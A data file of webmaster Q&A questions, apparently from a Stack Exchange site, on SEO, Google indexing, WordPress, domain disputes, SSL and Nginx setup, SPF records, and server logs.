{"id":"7191","title":"Wordpress blog penalized by Google search - what's wrong?","text":"I have a blog (http:\/\/blog.brodzinski.com), which is wordpress.org blog with pretty popular Thesis theme with almost no other customizations. Some time ago it was penalized by Google search - it simply stopped appearing in search results even for search terms it used to be top result, like my name - Pawel Brodzinski - which isn't anything close to popular search term. To be exact the site has been penalized on Nov 18. It started popping up in search result on Dec 23 but only for a few days. Since Dec 27 it is out again. * I know Google guidelines and I'm not aware to break any of them. * I submitted reconsideration request after I noticed penalty. It was proceeded and there was no change whatsoever (no surprise as it seems the site was penalized again). * I checked diagnostics in webmaster tools and neither any malware was detected nor any strange search terms popped up. * I read related threads on Google webmasters forum but found none of solutions working for me. * I posted a thread on Google webmasters forum (http:\/\/www.google.com\/support\/forum\/p\/Webmasters\/thread?tid=546339f49d4a03bc&hl=en) and the only answer I got was to check for duplicate content. Well, there is some duplicate content published on the web but it is true for vast majority of blogs and it doesn't seem to be a reason for a penalty. Also before Dec 27 I was able to remove duplicate content from a couple of sites which were republishing my feed but this doesn't change the situation - the site was penalized again. The problem is I have no idea what can be wrong with the website or how to find it out. To make the problem worse I'm no webmaster, I just run a wordpress blog, which was supposed to be easy."}
{"id":"2969","title":"Possible to only load specifiv div of a website?","text":"I have this project i'm working on and id like to add a really small list of nearby places using facebooks places in an iframe feature from touch.facebook.com I can easily just use touch.facebook.com\/#places.php but then that loads the top bars. Anyway, is there a way I could manipulate the URL so that it will only load the places content rather than having the top and bottom menu bars. After looking at the code it looks like there is a div id=content\" I was thinking maybe there was a way to make the url so that it will only load that div? I also tried making a url that might just jump down to content using touch.facebook.com\/#places.php#content but apparently with that way touch.facebook.com was built that doesn't work. But really i'd rather figure out a way to just load the content. Ay ideas? thanks! edit again: I went ahead and tried this I read the examples for file_get_contents and what's being here looks right, according to example 1 <?php $page = file_get_contents('http:\/\/touch.facebook.com'); $doc = new DOMDocument(); $doc->loadHTML($page); $divs = $doc->getElementsByTagName('div'); foreach($divs as $div) { if ($div->getAttribute('id') === 'content') { echo $div->nodeValue; } } ?> I get a completely blank page. Sorry really new to php, trying to understand it. any suggestions?"}
{"id":"68936","title":"high phyiscal memory usage with wordpress, no visitors , stock theme and no plugins!","text":"my problem is that my server consume 512 MegaBytes my site is new with 6 users at same time at most stock theme no plugins checked the stats and saw that site.com\/feed\/ had many hits any suggestions?"}
{"id":"13","title":"What can I do to reduce the file size of my images?","text":"Working with some wordpress themes I've been modifying some of the image files and noticed that my edited versions are sometimes 3-4x larger than the original (saved using the same format). I don't want to degrade quality - what are some of the ways to make a file size smaller so it will load faster? Right now, for example, I use Photoshop and set the image quality slider to '8' (out of 10)."}
{"id":"8539","title":"How do I check that a domain is available without triggering a grabber?","text":"A few days ago, I checked whether a domain was available by tying the name in the web browser. Also `host` returned `not found 3(NXDOMAIN)` When I tried again today, some domain grabber had snatched it. How can I check whether a domain is available without losing to some barely legal \"service\"?"}
{"id":"8028","title":"Suggestions for a Live chat software on websites for customer support?","text":"Recommendations needed. We want to get in touch with customers via live chat. Requirements: * chat window customisable to mingle with website theme (colors etc) * preferably the window should be within webpage and not only pop-out\/popup. * ease of use by customer * minimally intrusive * should have triggers\/Alerts to backend side. for ex: user is unable to fill-up signup form or something, we should be able to offer help to user and this chat window automatically shows to user. What is the cost ? **UPDATE** : After R&D we also narrowed down to comm100 and liveperson, and we will go with comm100. LP is best commerical soln. but comm100 is a good free soln. We go with comm100 as starting point. But it gives out exceptions alerts sometimes in the dashboard. Can it be configured for chat invitations triggered on certain conditions. Currently only a timebased trigger is available. Any other major difference between these two ?"}
{"id":"12829","title":"Tiny Tiny RSS Installation","text":"I am having difficulties in installing the following: http:\/\/tt- rss.org\/redmine\/ I keep constantly getting this error after my installation (Which obviously, isn't correct). Fatal Error: config: please read config.php completely. I would much appreciate it if someone would install this for me! I will happily give FTP details :) Please, I really need this. Thanks."}
{"id":"15299","title":"How to tie together Facebook Pages and main website","text":"I'm anonymising this situation a bit, so I apologise if the scenario seems a bit contrived, but the question is a genuine one I need to address. I'm working on a website for a web-based company which acts as an intermediary or broker between public speakers and people who want to hire them. The company wants to tie into social media, so I've added Facebook etc. like\/share buttons. Each registered speaker has a separate page with its own OpenGraph metadata and so they can be independently \"liked\". The front page also has a \"like\" button for people who appreciate the service provided by the site instead of \/ as well as individual speakers. The company also has a Facebook Pages page. The question is how to tie them together. > Is there a \"Best practices\" approach to handling the relationship between > the company website and the company Facebook Pages page? In particular, should I replace the Like button on the front page with a link to the Facebook page (or perhaps change the OpenGraph metadata for it to set the Facebook page as og:url - although my instinct is that that's a bad idea)?"}
{"id":"8022","title":"Why does my certificate provider ask me to disable its root certificate?","text":"I received an SSL certificate from GoDaddy yesterday and their instructions to install the certificate seemed weird. To be precise, they asked me to disable their root certificate in server. > NOTE: If the Go Daddy® Class 2 Certification Authority root certificate is > currently installed on your machine, you need to disable it from the Trusted > Root Certification Authorities folder. What do I need to disable the root certificate? Another question: they asked me to put intermediate certificates on the server. I can sure do that on **server** but my **clients** might not have them. Does it matter?"}
{"id":"8026","title":"Google Analytics Goal funnel not working","text":"I have been a user of Google Analytics for over 2 years and like to think I am adept at using it but this issue has really thrown me. I have a Goal set up which appears to be working on first looking at the overview. It gives me 42 Goal Conversions, but when I go in to look at the Goal Funnel Visualization it states 0 visitors finished. What is happening here? Any advice much appreciated. Thanks"}
{"id":"4502","title":"Purchasing a Domain from a Domain Squatter","text":"A few years ago, I purchased a .org domain. Presumably, the .com version was taken by a domain squatter because it was registered the day after I registered it and it only hosts one of those typical ad pages. I recently decided that I want the .com version as well if it's cheap, and I'd like to know: What price do they typically charge, and are there any ways to get them to lower this price?"}
{"id":"30040","title":"What are the chances of a claiming a .com domain name from a squatter","text":"> **Possible Duplicate:** > Purchasing a Domain from a Domain Squatter As the question states, if a .com domain is squatted by the usual ad site, what are the chances of getting the domain (not buying it from the squatter)? And what should one expect to spend on it? **This is for a startup company** , is it still possible? Any past experiences are very welcome. Also does the standard default ad site make a difference? What if the domain is owned, but no website is setup at the domain? I realize there are other uses, but for those cases a subdomain is usually \"enough\"."}
{"id":"12823","title":"Why is Google not indexing my forum?","text":"I have this web site that as you can see on the top right has is a \"Forums\" button that links to my forums. My problem is that if, for instance, I make a Google search \"site:heliumscraper.com answers\" I don't get any result, even though the word \"answers\" is in the forum's board index and it has been there for a few months already. I don't have a robots file. I also uploaded a sitemap to Google that contained the forum. I'm thinking the problem might be the fact that the only link from my main page to the forum opens in a new window. Could this be the problem?"}
{"id":"26636","title":"Redirect QR code","text":"Is there a way to \"intercept\" incoming traffic from a QR code and redirect it to another page of your site? I have a QR code that is printed on physical paper. The scan will take the visitor to my root homepage, ie- www.mysite.com However, the URL I need visitors to goto is www.mysite.com\/code Any way to do this without having to generate a new code? I don't want to have to reprint the physical copies!"}
{"id":"26633","title":"Why my Joomla gallery link asks for admin access to administrator folder? And how do I fix it?","text":"I have an image gallery component, linked to a menu item. I also have my administrator folder secured on my web host (user security). Additionally, my folders are all `CHMOD 755`. When I click on the gallery link, it pops up the security access form, as if the link or component needs to write to the administrator folder... Am I overdoing security or is there a permission solution to this issue?"}
{"id":"44920","title":"How do I prevent duplicate indexing by Googlebot-Mobile?","text":"I have only one version of my web-site, and it is optimised for both the desktop and the smartphone. I've noticed that Google crawls each page exactly twice: once with `Googlebot\/2.1`, and again with `Googlebot-Mobile\/2.1`: % fgrep \"\/www\/drupal6\/filefield \" \/var\/www\/logs\/ports.su\/ports.su.access.log 66.249.76.223 - - [12\/Mar\/2013:07:46:42 -0700] \"GET \/www\/drupal6\/filefield HTTP\/1.1\" 200 2365 \"-\" \"Mozilla\/5.0 (compatible; Googlebot\/2.1; +http:\/\/www.google.com\/bot.html)\" 66.249.76.223 - - [12\/Mar\/2013:13:59:23 -0700] \"GET \/www\/drupal6\/filefield HTTP\/1.1\" 200 2365 \"-\" \"DoCoMo\/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile\/2.1; +http:\/\/www.google.com\/bot.html)\" I don't think blocking either of these bots in `\/robots.txt` would be appropriate, as it might remove my site from their respective index. However, don't they share their indices, too? How do I tell Google that I only have one site? **Looking for something that's the opposite of`Vary: User-Agent`.**"}
{"id":"39339","title":"Preventing botvisits to website","text":"Every time some user shares my website's address inside his\/her tweets, the following bots come to my website: > UnwindFetchor\/1.0 (+http:\/\/www.gnip.com\/) > ShowyouBot (http:\/\/showyou.com\/crawler) > JS-Kit URL Resolver, http:\/\/js-kit.com\/ > bitlybot > EventMachine > HttpClient etaURI API\/2.0 +metauri.com Ten times in a minute one of these bots come to my site and fetches my content. My question is, would banning these bots' IPs with htaccess or preventing their visits with robots.txt can harm my SEO ? Or can it obstruct some basic Twitter functionality ? For example when user shares my URL, the URL couldn't be shortened so he can't share it. Or Twitter will find my site suspicious etc?"}
{"id":"43500","title":"I added schema.org\/person - suddenly Google Plus is using itemprop as Site TITLE ? Bug?","text":"I was wondering if anyone else ran into the same problem This is the code I used <div itemscope itemtype=\"http:\/\/schema.org\/Person\"> <li>Written by: <a rel=\"author\" href=\"url\"> <span itemprop=\"name\">Name<\/span><\/a><\/li> <li> <a itemprop=\"email\" href=\"mailto:email@gmail.com\">Contact<\/a><\/li> <\/div> It's very simple - when I paste a link on Google Plus it will use itemprop \"name\" as the Site title. It works correctly on Facebook - just wondering why Google would do that before I run into problems, very annoying. The only alternative would be a vcard"}
{"id":"53198","title":"How do I get a \"Sign in with Facebook\" button in Denmark?","text":"I live in Denmark. In connection with a project I would like to add a \"Sign in with Facebook\" button to a website. In order to do that I apparently have to register as a Facebook developer on https:\/\/developers.facebook.com\/. But during the registration process, they need to confirm my cell phone number by sending me a confirmation code in a text message. I never receive that code. As far as I can tell, Facebook does not support text messages to Denmark. (If you go to https:\/\/www.facebook.com\/settings?tab=mobile and press \"Activate Text Messaging,\" you will get a list of supported countries. They include countries like Tajikistan and the Democratic Republic of Congo, but _not_ Denmark.) Facebook support has been less than helpful. Can anybody suggest what I can possibly do? Do I really need to emigrate just to get a \"Sign in with Facebook\" button?"}
{"id":"35929","title":"What every beginner should know about website development?","text":"I am a novice at building websites and considering to make one. But I'm very confused right now. I guess every beginner faces issues getting started. Some questions that have come up are: 1. I have an idea and a need a website. That's all I know right now. But how do I start ? HTML is for sure the basic language but there are a lot of other technologies too. What are ASP, PHP, Ruby, etc? How do I choose the right one from them? Other than ASP and PHP, there is JavaScript and other languages under the same belt. What are they used for? 2. Hosting. When I am choosing the host, what considerations do I have to keep in mind? What support do I need from them (other than getting some important space obviously)? 3. I am considering of making the website in Ruby on Rails. I don't know about PHP and what effect it would have if I choose Ruby over PHP. I thought about Ruby just because its new and I don't want to learn some thing \"not new\"! Moreover, what is a framework and how does a framework effect my development process? These three questions are just to explain my \"confusion\" better. There is obviously a lot more to it. Just to try to answer how the flow of website development goes keeping in mind my questions!"}
{"id":"8187","title":"Artists and music - Need Help Deciding on a CMS","text":"A friend has asked me to build a site with the following options: * staff members must be able to add new music and artists to the page * a gallery must be provided - it is also good if each artist has the ability to have his\/her own smaller gallery * users must be able to vote for artists * users must be able to alter in discussions (forums or comments sections) * staff members must be able to blog * staff members must be able to write articles I did a small project where i actually implemented all of these features, but I want to use an existing content management system for all of these features so that future developers can, hopefully, more easy extend the website. And also, so that I don't have to provide too much documentation. I have never developed a website using an external CMS like Drupal or Wordpress and after seeing hours of tutorial videos of both systems, I still can't make up my mind on whether i should : a) use Drupal 7 b) use Wordpress 3 c) create my own cms I can imagine that staff members would also want to create content using iPhone or android based mobile devices, but this is not a required feature. Can someone, with experience, please tell me about their experiences with larger projects like this? The site will have approximately 400 000 - 500 000 visitors (not daily visitors, based on numbers from last year in a period of 4 months)"}
{"id":"61524","title":"Remove www from HTTPS request in Nginx","text":"I have the following code: server { listen 443; server_name www.domain.com; ssl on; ssl_certificate \/etc\/nginx\/ssl\/domain.com.crt; ssl_certificate_key \/etc\/nginx\/ssl\/domain.com.key; return 301 https:\/\/domain.com$request_uri; } If I access `https:\/\/domain.com` everything works, if I access `https:\/\/www.domain.com` I get a SSL warning that the Certificate does not match the domain, which it doesn't. Once you accept the invalid SSL cert it redirects you to `https:\/\/domain.com` with the valid cert. But if I remove the `ssl on;` bit etc, then neither `https:\/\/domain.com` or `https:\/\/www.domain.com` work. So how can I remove the WWW without the SSL Invalid warning? I only have an SSL cert for `domain.com` and not for `www.domain.com`."}
{"id":"37873","title":"New blog post shows immediately in google search results where as other HTML content takes time, why?","text":"I have a blog which has been active for 3 years. Recently I posted an article and it immediately appeared in google search. Maybe 5 to 10 minutes. A point to note is I was logged into my google account. Maybe google checked my post's when I searched since I am logged in? Yet I logged out and used another browser and searched again with that specific text and it appeared in google search result. How did this happen? However, if I make an article in static HTML and publish, it takes time. (I assume this is the case but I haven't tested much). Yet tested a few cases after updating it in my sitemap xml. How does google search work for a blog and other content?"}
{"id":"55324","title":"Can Googlebot handle robots.txt with a 302 redirect?","text":"In Google Webmaster Tools, I get an error: > Google couldn't crawl your site because we were unable to access your site's > robots.txt file The associated help says: > If your robots.txt file exists but is unreachable (in other words, if it > doesn’t return a 200 or 404 HTTP status code), we’ll postpone our crawl > rather than risk crawling disallowed URLs My site 302 redirects all http traffic to HTTPS - so access to `http:\/\/blah\/robots.txt` is 302 redirected to `https:\/\/blah\/robots.txt`, so literally it doesn't return 200 or 404 as requested above. My question - does Googlebot object to the 302 redirect when it attempts to access the _robots.txt_ file? Note: a lot of the server configuration is out of my control, and is configured this way due to corporate IT. I'm just the poor guy who needs to get this working in spite of the constraints."}
{"id":"52803","title":"How to set \"twitter:player\" URL in Twitter player card?","text":"I am trying to design Twitter player cards for my podcast episodes, which are hosted on a Wordpress site. I am confused about what is supposed to go in this section: <meta name=\"twitter:player\" content=\"\"> The only information I can find from Twitter about this field is that it is an: \"HTTPS URL to iframe player. This must be a HTTPS URL which does not generate mixed content warnings in a web browser. Required.\" So how does one know what URL to use? Are there free players available that anyone can link to in their Twitter card? Should the player be self-hosted? My site uses the Podlove Web Player to play episodes of my podcast (example post here). I'd prefer to use that player since I've already got it set up for each of my episodes, but I don't know enough about this whole Twitter card thing to know if that is possible. Thanks for any tips!"}
{"id":"52808","title":"If a user uploads copyrighted material to my site but for personal use is it legal?","text":"I am creating a personal cloud service, each account is only for use by the owner. You can upload any file and view \/ play it in the browser, e.g. documents, music and videos. Now obviously someone's going to upload their music library, which is fine by me, but is it breaching copyright? The only person who has access to the material would be the account owner, the material is not publicly accessible. So is it legal for someone to upload their iTunes library onto my servers? Would it be the same for their films?"}
{"id":"5943","title":"Command-line website screenshot tool","text":"I want a command-line website screenshot tool so I can check the status\/appearance of various websites. If possible, I'd want a tool that works on GNU\/Linux and can be automated."}
{"id":"13993","title":"I just accepted a \"come back to us\" type offer $100 Adwords Credit - Now 80% of my Adsense Ads are for Google Adwords","text":"I don't know if this is related, and I haven't been able to find any information on it anywhere. I just accepted a $100 Adwords credit offer from Google. Shortly after I did that, roughly 80% of the ads I have placed on my site are ads for Google Adwords. Completely irrelevant to my site and its content. Is it possible the two are related? My sites have been displaying relevant content for years now, why the change? Any feedback on this would be appreciated... Thanks"}
{"id":"26558","title":"Speeding up website\"speed\"?","text":"We use Google Analytics to measure traffic on one of our websites (who doesn't?). One of the thing that strikes us is the \"page speed\" tab. It shows that our website takes on average 5.69 seconds to load over the last 30 days. This is clearly way too slow, and we want to make that much faster. We are a PHP and Apache site, but we use Google's Site Optimizer module for Apache. The content itself. With `ab`, I find that it takes on average 150ms to serve each and every document, also, a single document is loaded with 5 calls (1 CSS, 1 JS and 2 images). However, these assets should obviously be cached after the first request. When I look at the \"Network\" tab in Google Chrome, I find that my site is slow mostly due to adsense, analytics, Google+, doubleclick... or even Facebook (we show a widget). These should obviously not be counted in the \"load time\" for our page, because these are not part of the content. The site is Jobetudiant and you can access a version of it with no extra JS calls by adding `noext&nopub` to any URL. What would you do to optimize the load and rendering times?"}
{"id":"13997","title":"How do I make images smaller without making them darker?","text":"OK - my manager hit me with this one today, and I need a reality check. She asked me to color-correct an image because, \"images get darker in Photoshop when you make them smaller.\" I've never seen anything that would lead me to that conclusion - and I've been with Photoshop since version 3 (still having difficulty fully trusting multiple undo's, by the way). Is one of us crazy? And if it's me, in what way do you best compensate for the change? Levels?"}
{"id":"26551","title":"Blogger template shows single column when signed in","text":"I am hosting my blog on blogger.com using a custom domain. I am using one of the standard templates (Watermark) with a few extra widgets. It looks perfectly on all major browsers. However, the moment I log in to my google account my blog shows up as a single column. Right column is appended below the left column. I have not noticed any other major change. Good thing is this is only visible to me (hopefully). But it bothers me. Does anybody know what might cause this?"}
{"id":"42909","title":"Do videos bring more traffic than backlinks in general?","text":"Yesterday, I had a conversion with a friend who was implementing SEO techniques on his websites a couple of years ago. He also stopped this activity since then. He claims that relevant YouTube videos are bringing more traffic than relevant backlinks, in general. Is this (still) true? I am a bit puzzled about his statement, because I don't see that many people mentioning relevant video's as a valid strategy to get traffic. Does anyone have experience to share about this? Thanks!"}
{"id":"26557","title":"Google authorship information, for a whole website?","text":"To make Google Authorship Information work, you should follow some steps one of which is to login to your Google profile, and add the links of the articles you've contributed to. This is a good step, as much as you are only a contributor of few articles, or you've contributed to articles across many websites, and many domains. But if you are the owner of a website, and you have large number of articles (say 100 articles and more for example), then it gets tediuse and uncomfortable task to add each article's URL to your Google Profile. Does Google has a feature to tell it that you own a website, so that it knows that the author of each article on that website is you?"}
{"id":"26556","title":"Domain recovery prevention","text":"I'm in a situation where I've done a website for a client and the year is up and their annual renewal is due. They've decided they don't want to renew with me, which I don't have a problem with and that they would like to go elsewhere. The trouble is, they owe for the updates and changes they've had throughout the year to which they agreed to pay at the end of the year when we began working together. They want me to change the IPS tag (it's a .co.uk domain) to their new providers registrar so they can take control of the domain but given that I know the kind of people they are, I don't want to release the domain until all accounts are paid up to date (reasonable, right? If they intend to pay they wouldn't have a problem with this, surely?). I know the company that they want to swap to and have had bad experiences with them in the past. I fear that they will somehow forcefully try to take hold of the domain, leaving me with absolutely no leverage to get the money I'm owed. As I understand it, unless a domain is preventing a business from _doing_ business or damaging the company's name, it can't be touched - or am I wrong? I will not disable the email account associated with the domain, but I may well replace the site (it's a very generic domain) with a small site with content based on the keywords in the domain, so that can no way be construed as damaging, correct? Is there anything else I can do here to stop any potential forceful takeovers of the domain? I'm not asking for legal advice, just exactly what I can do to prevent being conned by this client."}
{"id":"26555","title":"'passing juice' in internal and external links and text to html ratio","text":"Couple of questions about SEO: * Is there any evidence to support the idea that 'passing juice' is a bad thing for internal and external web links? * Equally is there any evidence to support the idea that text to HTML ratio, particularly on homepages is considered when ranking. It has always appeared to me that these are myths."}
{"id":"68526","title":"UFW Log Question","text":"Can someone tell me exactly what this UFW log reads? What is LEN, SPT, DPT? I'm getting maybe 30 lines of logs like this per day. Is this normal? Aug 27 11:45:44 tehnika kernel: [18508.939504] [UFW BLOCK] IN=eth0 OUT= MAC=04:01:21:79:aa:01:28:8a:1c:64:cb:f0:08:00 SRC=116.10.191.233 DST=188.226.235.21 LEN=40 TOS=0x00 PREC=0x00 TTL=107 ID=256 PROTO=TCP SPT=6000 DPT=22 WINDOW=16384 RES=0x00 SYN URGP=0"}
{"id":"28645","title":"Web hosting announced downtime and how it affects FORWARD domain names?","text":"Our web hosting provider that holds our FORWARD domain names announced that at some point in the next couple weeks they will be migrating servers and that this will cause a 5-10 minute downtime at some point in that week during what happens to be our core business hours. They cite for technical reasons it is impossible to give an exact date or time when this downtime will occur. My questions are: 1. If my domains are set to FORWARD to a static IP on servers not hosted by the web hosting provider in question then will this affect the DNS servers correctly routing to my website? 2. Are their legitimate technical reasons for such a wide window of time, or could this just be a blanket statement to cover laziness in not being more organized with their server migrations? 3. Are such downtimes normal for web hosting providers, or should I start to consider other providers?"}
{"id":"24778","title":"Point naked URL to www in cPanel","text":"Simply I am trying to do this: When a person types `myurl.com` it will convert into `www.myurl.com` and when person types `www.myurl.com` it stays `www.myurl.com` (mainly I want to do this for search engine optimization, so Google doesn't think I have 2 domains, naked and with www.) I am pointing DNS from Netfirms to my website hosted at another hosting company that uses Litespeed on Linux instead of Apache. Control panel is cPanel and I have access to DNS management on server through it. As I know it has something to do with A records, and that's how much I know. Please be specific if you're going to answer."}
{"id":"28642","title":"Is this SPF record correct?","text":"I need to set up a SPF record to allow an alternative IP address to send our newsletter emails. The main IP hosting the site still needs to be allowed to send email also. Would the following work? v=spf1 mx ip4:_MAINSITE_ mx:mail._MAINSITEDOMAIN_ ip4:_ALTIP_ -all"}
{"id":"24773","title":"How do I stop my vBulletin forum from having unregistered guests spamming it?","text":"It seems my vbulletin forum is still having problems with unregistered guests spamming threads and members Inbox on the forum. Do you have a solution for this?"}
{"id":"24772","title":"domain name hijacked by my hosting provider with dubious invoicing practice","text":"Over 12 months ago I purchased a domain name and hosting package from a hosting company. Before the 12 months was up i was sent a single invoice for the same amount as I had paid for the preceding 12 months, which I paid, 1 week before it was due to expire. I received a confirmation email receipt from the hosting company for this. I then received another email from the same hosting company, a few days before the due date, informing me the domain was due to expire, if i did not renew the domain name. I immediately replied to this email asking if they had somehow messed up my payment or renewal. i copied back the email they had sent me, clearly telling me they had processed my card etc. I did not get a reply to this. a few days later, my domain started showing obnoxious advertisements, and implying i had not paid to renew my domain name. at this point i go onto their online help and opened up a chat session, where i was told that the invoice i had paid was for hosting and not for the domain name itself. i was asked if i would like to be invoiced for the domain name also? frustrated and angry (what use is a hosting package that nobody can reach?), i paid the extra $12 and was told the domain would be renewed with 24 hours. this was over a month ago. my domain still redirects to a website that shows obnoxious ads. i have been constantly told by the hosting company that a) they HAVE received my payments, and b) the domain will be on again \"soon\". in contradiction to this, i have also received auto generated emails from the same company (the same address in fact) informing me that i have not paid, and my domain will be deleted unless i pay them. here is an example of the sort of email I have received: > Dear xxxxx xxxx, > > We have checked, Invoice 38767 and Invoice 38329 has been paid. > > We request you to ignore the e-mails you have received, as they are auto > generated. > > Please feel free to contact us back in case of any further information. > > Thank you, xxxx xxxx, Support Department xxxx Inc. the last response i had from them was this: > Dear xxxx xxxx, > > We do apologize for the delay caused to you. > > Actually, we are having an issue at our domain registrar, hence the domains > do not get renewed automatically and need to be done manually, so it is > taking time for Domain renewal. > > There is no ETA but it can be estimated to be renewed in next sometime. > > Till then you may access the domain using Temporary Webpage URL : > http:\/\/0.0.0.0\/$sitepreview\/mydomain.com\/ > > Please feel free to contact us back in case of any further information. > > Thank you, xxxx xxxx, Support Department xxxx Inc. In the mean time I can not use my website. What can I do to recover from this? I get the impression that they are stalling for time so the domain can be deleted, and another customer can swoop in and buy it. What is puzzling to me is they plainly acknowledge I have paid and imply the problem is out of their control, and yet when i look at the source to the page, it appears to me that they are hosting the page on their servers. it does embed a frame that contains google ads, but the actual parent html frame has a link to renew the domain, which is clearly hosted by them. how can i deal with this? for one, i was tricked into not paying the domain renewal - the initial invoice did not say it was for either for hosting or domain name registration, but that it was for \"www.insertdomainhere.com\". it was for the same dollar value that i paid for 12 months domain and hosting previously, which is the same dollar value the currently promote for new signups. how was i supposed to know that by paying the invoice, i would not have the domain renewed? is this sort of thing common? i have not mentioned the hosting company at this point, i may do so if enough people respond telling me this sort of thing has happened to them. basically, need to find out if this is me being singled out, in which case going public will not help me resolve it with them. if it is a common occurrence, i will name the company take it from there. is this the sort of thing a class action against a company that is clearly ripping off it's customers could bring them to their knees?"}
{"id":"57971","title":"Synonyms and SEO","text":"I have a dynamically generated PHP web page where I change randomly the page `<title>` and `<h1>` by synonyms. Will search engines index the page for all or just for one synonym? Is it good option in terms of SEO?"}
{"id":"22021","title":"Editable block: CMS or PHP script?","text":"I'm designing a Website for a restaurant. The site will be fairly static except for a 'specials' block which the client will need to update on a daily basis. I'm more of a designer\/front-end developer so I was wondering if I was better off trying to make a block editable in PHP (a language I hardly ever deal with) or just create the website in a user-friendly CMS such as Wordpress (which I have some experience with) or Expression Engine (which I have no experience with but I'm told is a favorite in the design community)... certainly not Drupal, because even though I have theming experience with it, I think it would be a little overkill for just one editable block in a five-page site. I'm leaning towards an easy to use CMS because I'm really just not comfortable writing my own PHP especially since I guess a PHP solution would also require an authentication solution so only the client could get in to edit their info. Any insight would be appreciated!"}
{"id":"61220","title":"setting up facebook 'insights for your web site' linkdoes not provide fb:admin tag","text":"I've set up a facebook app and am now trying to get the fb:admin tags using the insights page at https:\/\/www.facebook.com\/insights\/. when I click the 'insights for your web site' link the pop up does not give me the metatags that the help pages suggest should appear. As a result of this if I click the 'Get Insights' it throws the error; No admin data found at root webpage http:\/\/www.domain.com\/. Insights requires admin data at this root webpage for the specified URL www.domain.com"}
{"id":"57821","title":"Google's Opinion on Javascript Page Refresh","text":"I was wondering if anyone knows Google's view on this. My company has a homepage that features a lot of 3rd parties on it and it needs to inform customers which ones are currently online, which aren't, and which are currently busy. Because this constantly changes, we have the homepage refresh to show the most relevant and up-to-date content to our users. I'm not using a meta refresh element in the http-equiv parameter to do this. Instead I have this js element to refresh the page: window.setTimeout(\"refreshPage()\", 120000); I just want to know whether people think Google might consider this a violation of the content guidelines or not. Or if it's not an outright violation, then at least if Google frowns on this or not. It doesn't redirect the user to a different page or anything, just refreshes the page so that they can see the most relevant content."}
{"id":"22029","title":"New domain and submission to search engines","text":"I have registered a new domain with a hosting company. They offer the feature that for each new domain there is an associated placeholder page. Actually it is a \"Site not configured page\" with some technical text and links to the hosting site. I could: 1. submit its URL to search engines right now 2. remove the page and submit the URL when the site will be online (could be a couple of months) 3. replace the default page with \"coming soon\" contents and submit the URL 4. opt for simplicity and add a blank html page having a focused and well descriptive title and maybe some meta tag 5. other? I prefer 4 over 3 because at the moment there aren't precise project details to provide. What's the proper way to notify search engines that soon this site will be online, without getting penalized for side effects I'm not considering or aware of?"}
{"id":"68233","title":"Ubuntu server MySQL remote access from MySQL Workbench","text":"I have a newly install Ubuntu installed the MySQL server. After the basic config: * I changed the _my.cnf_ file and commented out the `bind_address` * I can start the server and added iptable for `3306`. * I also added the privileges to MySQL server as follow: * `GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'` * `IDENTIFIED BY 'P@ssw0rd' WITH GRANT OPTION;` * `FLUSH PRIVILEGES;` * `exit` However, after I connected from the MySQL workbench, it shows no database. But it seems that have login. Anyone have faced that or can help me?"}
{"id":"47067","title":"Google analytics Real time continously showing visitors from one location","text":"I have two sites about tablet pc. In \"Real-Time\" option in Google analytics, both sites at any movement of time shows active visitors from **Putney** which is located in UK. One the site is mytabletguru.com. What I found odd is that both the sites is meant for the Indian audience as both have details about the tablet that are available in India. Is this normal? "}
{"id":"5043","title":"How can I prevent Google mistakenly offering to translate a page?","text":"Several of my site's pages are appearing in search results with `[Translate this page]` next to it. When I click that it takes me to Google Translate and translates my page \"from Catalan to English\". The pages are in English but have a couple of foreign words (actually Japanese romanisations, not Catalan) that appear to be tripping Google up. A few weeks ago I set the html tag to `<html lang=\"en\">` which from research appears to be the best method to specify the language of a document. Google has cached the pages with this attribute but it is still offering to translate. More research led me to a \"notranslate\" attribute which prevents translation entirely: `<html lang=\"en\" class=\"notranslate\">`. The problem now is users cannot translate from English to their desired language! Are there any other solutions that force Google to parse my site as English only?"}
{"id":"31978","title":"Is there a point to redirecting our collection of purchased domains?","text":"We have 200+ domain names that we have purchased to prevent them from being poached and misused. These additional domains are not indexed, crawled or linked to. Is there a point to actually setting them up as redirects to our primary site? I am of the opinion that the only reason to redirect is if there is some chance a visitor might type it in by hand because they can't remember our URL. Am I missing something?"}
{"id":"59292","title":"How to combine pages authority into one page?","text":"I have several pages about an entity. To illustrate, an example: * John Smith Overview * John Smith Places He Grew Up In * John Smith Companies he worked for * John Smith His HighSchool Friends Currently all are accessible to search engines. I'm thinking about removing all the pages as far as search engines are concerned and focus all of the SE traffic on the main Overview Page while keeping this page distribution for users. In order to do that I was thinking about doing a 301 redirect from all pages about 'John Smith' to his Overview page. The content itself will be available to users in a new url that will be blocked through robots.txt. The idea is to focus all current SEO power into one page and that way rank higher for the search term 'John Smith'. Is that a good idea? Is there a different way to combines pages authority into one main page?"}
{"id":"4750","title":"Website for a directory listing of taxi services?","text":"I'm trying to build a self-listing website around a taxi service domain name that I have. I am looking for a simple script \/ program that allows users to register, put up details about their taxi service - where they operate, what their contact numbers are, etc. I'm not looking for a sophisticated program - bares bones is perfect."}
{"id":"43323","title":"I'm building you a website. How can I make it easy to transfer ownership?","text":"I just completed my first web development course. I know HTML and CSS basics and an ounce of JavaScript. Still, this is enough to build websites for people. But they will want to be able to edit the content. When their addresses change and their portfolios grow, updates will have to be made. How can I easily transfer ownership of a web property?"}
{"id":"5375","title":"Sitemap XML version vs simple text (urls list) version, do you know what are the pros?","text":"I usualy submit simple text urls list as sitemap on Google webmaster tools. It's just a matter of simplicity, a simple text file is lightweight, easier to read also for humans (actually for me). :) What's the cath then in submitting an XML sitemap? Any pros you found out in your experince? Thanks,"}
{"id":"19777","title":"which among these is good according to url optimization for search engine - google?","text":"which among these is good according to url optimization for search engine - google? Keyword - **hot jobs in paris** paris.hotjobsin.com hotjobsin.com\/hotjobs\/paris hotjobsin.com\/paris\/hot-jobs-in-paris.html hotjobsin.com\/hot-jobs-in-paris.com paris.hotjobsin.com\/hot-jobs-in-paris.com **Any thoughts.**"}
